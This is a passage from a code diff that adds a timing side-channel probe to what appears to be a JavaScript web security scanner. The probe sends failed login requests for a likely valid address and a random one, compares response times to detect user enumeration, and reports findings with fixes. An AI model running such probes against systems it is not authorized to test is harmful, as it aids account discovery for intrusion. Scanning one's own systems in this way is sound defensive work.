spinner.text = 'Timing side-channel probe...';
|
|
209
|
+
|
|
210
|
+
const validUser = 'admin@target.com';
|
|
211
|
+
const invalidUser = `nonexistent${Date.now()}@random.com`;
|
|
212
|
+
|
|
213
|
+
try {
|
|
214
|
+
const startValid = Date.now();
|
|
215
|
+
await fetchText(`${origin}/api/login`, {
|
|
216
|
+
method: 'POST',
|
|
217
|
+
headers: { 'Content-Type': 'application/json' },
|
|
218
|
+
body: JSON.stringify({ email: validUser, password: 'wrong' }),
|
|
219
|
+
}, 8000);
|
|
220
|
+
const validTime = Date.now() - startValid;
|
|
221
|
+
|
|
222
|
+
const startInvalid = Date.now();
|
|
223
|
+
await fetchText(`${origin}/api/login`, {
|
|
224
|
+
method: 'POST',
|
|
225
|
+
headers: { 'Content-Type': 'application/json' },
|
|
226
|
+
body: JSON.stringify({ email: invalidUser, password: 'wrong' }),
|
|
227
|
+
}, 8000);
|
|
228
|
+
const invalidTime = Date.now() - startInvalid;
|
|
229
|
+
|
|
230
|
+
if (Math.abs(validTime - invalidTime) > 200) {
|
|
231
|
+
addFinding('HIGH', 'Timing Side-Channel', `Timing difference detected: ${Math.abs(validTime - invalidTime)}ms`, `Valid user took ${validTime}ms, invalid took ${invalidTime}ms (difference: ${Math.abs(validTime - invalidTime)}ms)`, 'Use constant-time comparison. Ensure login endpoint responds identically for existing and non-existing users. Add random jitter.');
|
|
232
|
+
} else {
|
|
233
|
+
addFinding('INFO', 'Timing Side-Channel', 'Login timing appears consistent', `Valid: ${validTime}ms, Invalid: ${invalidTime}ms (diff: ${Math.abs(validTime - invalidTime)}ms)`, 'Good practice. Continue monitoring for timing differences in other endpoints.');
|
|
234
|
+
}
|
|
235
|
+
} catch {}
|
|
236
|
+
}
|
|
237
|
+
|
|
238
|
+
function btoa(str) {
|
|
239
|
+
return Buffer.from(str).toString('base64').replace(/=+$/, '').replace(/\+/g, '-').replace(/\//g, '_');
|
|
240
|
+
}
|